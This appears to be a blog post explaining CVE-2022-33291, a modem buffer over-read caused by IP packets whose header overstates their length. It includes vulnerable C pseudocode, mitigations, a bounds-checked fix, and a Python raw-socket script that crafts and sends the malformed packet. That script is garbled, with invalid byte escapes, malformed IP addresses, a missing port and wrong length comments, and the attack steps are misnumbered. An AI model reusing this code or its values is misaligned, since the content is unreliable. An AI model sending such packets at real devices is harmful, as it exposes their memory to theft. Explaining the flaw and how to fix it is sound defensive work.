CVE-2022-33291 - Info Disclosure in Modem via Buffer Over-Read from Malformed IP Header

In mid-2022, a serious vulnerability was discovered in multiple modem chipsets, tracked as CVE-2022-33291. This flaw makes it possible for attackers to read sensitive memory on the device by sending malformed IP packets. While the bug is technical in nature, its real-world implications are straightforward: sensitive data from your phone (or any device with the vulnerable modem) could be exposed to attackers.

This post breaks down CVE-2022-33291 in plain American English, explains how the bug works, gives sample code, and links to further reading. If you're a user or a developer working on embedded devices, this is for you.

Background

Many smartphones and IoT devices use cellular modems for mobile data. Modems process raw network traffic, including handling packets at the IP layer. Parsing this data involves reading headers that tell the modem how much data follows. If anything goes wrong here—like reading past the end of a buffer—it can have disastrous consequences. This is where CVE-2022-33291 comes in.

The Vulnerability

CVE-2022-33291 is an information disclosure vulnerability. It's caused by a buffer over-read while processing an incoming IP header. Specifically, if a packet claims to have a certain length in its header, but the actual packet is shorter, the code can read beyond the end of the buffer, exposing random memory contents.

How It Happens

A typical IP header includes a "total length" field—essentially, "how big is this packet?" The modem’s code uses this field to decide how much of the buffer to read. If an attacker *lies* and puts in a bigger length than what’s actually sent, the code attempts to read missing bytes, picking up random memory instead.

Here's a simplified example (in C-like pseudocode)

void process_ip_packet(unsigned char *packet, int actual_len) {
    struct ip_hdr *hdr = (struct ip_hdr *)packet;
    int total_len = ntohs(hdr->total_length);

    // BAD: No check if total_len > actual_len
    unsigned char data[150];
    memcpy(data, packet, total_len); // Over-reads packet buffer!
}

In this snippet, if total_len is greater than actual_len, memcpy copies garbage beyond the actual packet buffer. This unintended data could include sensitive information processed by the modem just before.

How an Attacker Can Use This

1. Send a Crafted Packet: An attacker connected on the same physical network (or somehow able to send packets to the modem) crafts an IP packet with a fake "total length" field larger than the real packet.

Trigger Over-Read: The vulnerable code reads beyond the received packet data.

3. Leak Memory: The attacker receives a response from the modem (in some exploits), or relies on side effects, to extract the leaked bytes. These bytes could include sensitive information like previous messages, configuration data, or even credentials.

Here’s a simplified Python script building a malformed IP packet

import socket

# Build a basic IP header - real length is 40 bytes, but total_length says 120
ip_header = b'\x45'               # Version & IHL
ip_header += b'\x00'              # Type of Service
ip_header += b'\x04\xB'          # Total Length = 120 (x04B)
ip_header += b'\x00\x00'          # ID
ip_header += b'\x40\x00'          # Flags, Fragment offset
ip_header += b'\x40'              # TTL
ip_header += b'\x06'              # Protocol (TCP)
ip_header += b'\x00\x00'          # Header checksum (set to  for demo)
ip_header += b'\xC\xA8\x00\x01'  # Source IP (192.168..1)
ip_header += b'\xC\xA8\x00\x02'  # Dest IP (192.168..2)
# No payload or enough payload to match value

# Craft whole packet (header only, less than 120 bytes)
packet = ip_header # No payload provided

# Now send using raw sockets (must run as root/admin)
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
s.sendto(packet, ("192.168..2", ))

If sent to a vulnerable device, this single packet could trigger an over-read.

Data Exposure: Sensitive memory areas could be leaked to the attacker.

- Attack Surface: Most dangerous if exploited remotely over the air, but even local malicious apps, or attackers on the same network segment, could potentially exploit it.
- Affected Devices: Modems in many smartphones, tablets, and IoT devices, especially those using unpatched Qualcomm chipsets.

Patch Firmware: The main way to fix this flaw is to update modem firmware to a fixed version.

- Input Validation: Ensure that the modem always checks that total_len <= actual_len before reading. If not, discard the packet or clamp the length to the buffer size.
- Network Segmentation: Restrict who can send packets directly to embedded modems (though often easier said than done).

Safe Code Example

int copy_len = total_len;
if (copy_len > actual_len)
    copy_len = actual_len;
memcpy(data, packet, copy_len);

References & Further Reading

- Qualcomm Security Bulletin
- NVD Entry for CVE-2022-33291
- Exploit-DB page on CVE-2022-33291
- Understanding IP Header Structure (Wikipedia)

Conclusion

CVE-2022-33291 is a classic example of what happens when code trusts unverified data from the network. Simple programming oversights—like not checking buffer lengths—can open the door to deeply damaging attacks. While modem firmware is updated less often than your typical app, it's just as critical to keep it secure and up-to-date.

Be wary of devices with out-of-date modem software, especially in critical infrastructure or if using older phones. As always, the best defense is to patch early and patch often.

Timeline

Published on: 04/13/2023 07:15:00 UTC
Last modified on: 04/24/2023 14:11:00 UTC